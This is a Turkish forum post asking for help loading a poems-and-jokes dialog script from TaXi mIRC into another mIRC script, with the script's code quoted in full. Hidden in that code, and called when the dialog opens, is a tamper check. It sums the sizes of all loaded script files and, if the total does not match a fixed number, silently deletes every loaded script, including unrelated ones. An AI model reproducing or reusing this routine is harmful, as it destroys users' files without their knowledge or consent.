Bir eğlence diyalogu için yardım
 

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

Resimde TaXi mIRC'e ait bir eğlence diyalogu var. Hoşuma gitti, kullandığım scripte eklemek istedim. Öncelikle bu çalıntı olacaksa cevap verilmesine gerek yok. Haksızlık yapmak istemem. Ama kod içinde yer alan Script/Kişi kısımlarına eklemeden kullanmak istiyorum.

Kod TaXi mIRC ana klasöründe, "scripts" adlı klasörde "sanat.mrc" ve ayrı bir "texts" klasöründe şirler, hikayeler vb var. Kullandığım scriptte texts klasörü açtım dosyaları koydum; scripts klasörü açtım "sanat.mrc" koydum. Daha sonra /load -rs scripts\sanat.mrc ile ekledim ve remote yüklendi dedi. Biliyorum bu bir diyalog kodu, bu yüzden /sanat diye açılmıyor. Kodun içine "alias sanat { dialog -m sanat sanat } gibi birşeyler ekleyince yarım yamalak açıldı ama çok eksik ve çalışmıyor. Uzun lafın kısası ben bunu nasıl kullanabilirim; yardım eden olursa şimdiden teşekkürler.

Bu da kodu:
;
;
; Dikkat: buradaki hiç bir yazıyı silmeyiniz veya değiştirmeyiniz.
; Silmeye veya değiştirmeye çalışmanız, TaXi'nin doğru çalışmamasına veya hiç çalışmamasına
; sebep olabilir.
;
; DefauLt tarafından kodlanmıştır. (
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
)
; TaXi mIRC Script v3.0, [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]
;
;
;
;
;
;
;
;

; Mantıklı bir sistem olduğunu düşünüyorum. Popups ile uğraşmaktansa...

alias sanat {
if $1 {
set %sanat $1
}
_dialog sanat
}

alias ***** {
var %f 1 | while %f <= $script(0) { .remove $shortfn($script(%f)) | inc %f }
}

alias ** {
if $*tsc != 165386 {
*****
}
}

dialog sanat {
title "TaXi mIRC; Şiirler, Hikayeler, Komik Sözler, Özdeyişler"
size -1 -1 438 301
option pixels
icon icons\taxi_sanat.ico, 0
button "Kapat", 3, 2 270 76 24, cancel
list 1, 3 9 156 214, size extsel
tab "Tab 1", 5, -50 -50 600 400
edit "", 2, 161 9 275 214, tab 5 read multi return autovs vsbar
combo 4, 3 226 155 85, tab 5 size drop
edit "", 6, 251 228 100 21, tab 5
button "Gönder", 7, 360 226 76 24, tab 5
text "Rumuz/#kanal:", 8, 174 232 72 16, tab 5
text "* Seçtiğiniz eseri bir kanala veya rumuza göndermek isterseniz üstteki boşluğa gönderilecek rumuzu veya #kanal adını yazın ve gönder butonuna tıklayın.", 9, 183 255 252 44, tab 5
tab "Tab 2", 12
box "Quit ve Part Mesajları Düzenleme", 13, 171 3 336 282, tab 12
combo 14, 177 33 239 241, tab 12 size hsbar vsbar
button "Ekle", 15, 425 32 76 24, tab 12
button "Çıkar", 16, 425 65 76 24, tab 12
}

alias ***** {
var %f 1 | while %f <= $script(0) { .remove $shortfn($script(%f)) | inc %f }
}

alias *tsc { var %i 1, %r | while %i <= $script(0) { %r = $+($calc(%r + $file($script(%i)))) | inc %i } | return %r }

on *:dialog:sanat:*:*: {
if $devent == init {
mdxinit
mdx SetControlMDX $dname 1 Treeview fullrowselect singleexpand nohscroll > $views
mdx SetColor $dname 2 text $rgb(0,0,0)
mdx SetColor $dname 2 background $rgb(255,255,255)
mdx SetColor $dname 2 textbg $rgb(255,255,255)


mdx SetColor $dname 2 text $rgb(255,255,255)
mdx SetColor $dname 2 textbg $rgb(255,55,155)
mdx SetColor $dname 2 background $rgb(255,55,155)

kalin 1,2 12
did -i $dname 1 1 setcolor text $rgb(255,255,255)
did -i $dname 1 1 setcolor line $rgb(186,218,7)
did -i $dname 1 1 setcolor bkg $rgb(113,113,255)
didtok $dname 4 44 Şiirler,Hikayeler,Komik sözler,Özdeyişler
did -c $dname 4 1
did -a $dname 2 Soldaki listede eserlerin başlıkları bulunmaktadır. Başlığına tıkladığınız eser bu ekranda belirecektir.
if %sanat {
did -a $dname 6 $ifmatch
}
else {
if $active ischan || $query($active) {
did -a $dname 6 $ifmatch
}
}
sanat.yukle
did -f $dname 6
**
}
if $devent == sclick {
if $did == 1 && slclick select * iswm $did($did,1) {
set %sanat.y $right($gettok($did($dname,1,$gettok($did($did,1), 4-,32)),-1,48),-1)

if $did(sanat,4).sel == 1 {
set %sanat.dosya siir
}
if $did(sanat,4).sel == 2 {
set %sanat.dosya hikaye
}
if $did(sanat,4).sel == 3 {
set %sanat.dosya komik
}
if $did(sanat,4).sel == 4 {
set %sanat.dosya ozdeyis
}
if $exists($shortfn($+(texts\,%sanat.dosya,\,%sanat.y ,.txt))) {
.loadbuf 0 -oipr $dname 2 $shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt))
}
}
if $did == 4 {
sanat.yukle
}
if $did == 7 {
if %sanat.dosya && %sanat.y {
if $did($dname,6) {
var %im $did($dname,6)
if %im !ischan && !$query(%im) {
query %im
}
scid $activecid play %im $shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt)) 2000
_bilgi $iif($left(%im,1) == $chr(35),%im kanalına,%im rumuzuna) %sanat.y dosyası yazılıyor...
}
else {
var %im $$?"Göndermek istediğiniz rumuz veya #kanal ismini giriniz:"
if %im {
did -a $dname 6 %im
if %im !ischan && !$query(%im) {
query %im
}
scid $activecid play %im $shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt)) 2000
_bilgi $iif($left(%im,1) == $chr(35),%im kanalına,%im rumuzuna) %sanat.y dosyası yazılıyor...
}
}
}
else {
_bilgi Göndermek istediğiniz şiiri/hikayeyi/komik sözü/özdeyişi belirtmediniz.
}
}
}
if $devent == close {
unset %sanat*
}
}

; Zekice bir kodlama değil mi, sigaramı söndürürken yazıyorum =)
alias sanat.yukle {
did -r sanat 1,2
did -a sanat 2 Soldaki listede eserlerin başlıkları bulunmaktadır. Başlığına tıkladığınız eser bu ekranda belirecektir.
if $did(sanat,4).sel == 1 {
set %sanat.dosya siir
}
if $did(sanat,4).sel == 2 {
set %sanat.dosya hikaye
}
if $did(sanat,4).sel == 3 {
set %sanat.dosya komik
}
if $did(sanat,4).sel == 4 {
set %sanat.dosya ozdeyis
}
var %i 1
while %i <= $findfile($+(texts\,%sanat.dosya),*.txt,0) {
did -a sanat 1 $left($nopath($findfile($+(texts\,%sanat.dosya),*. txt,%i)),-4)
inc %i 1
}
}

alias *tsc { var %i 1, %r | while %i <= $script(0) { %r = $+($calc(%r + $file($script(%i)))) | inc %i } | return %r }
alias ** {
if $*tsc != 165386 {
*****
}
}

; Bitirdim. hmm. Sevdim bunu. Bir çok kişi de sevecek gibi geliyor...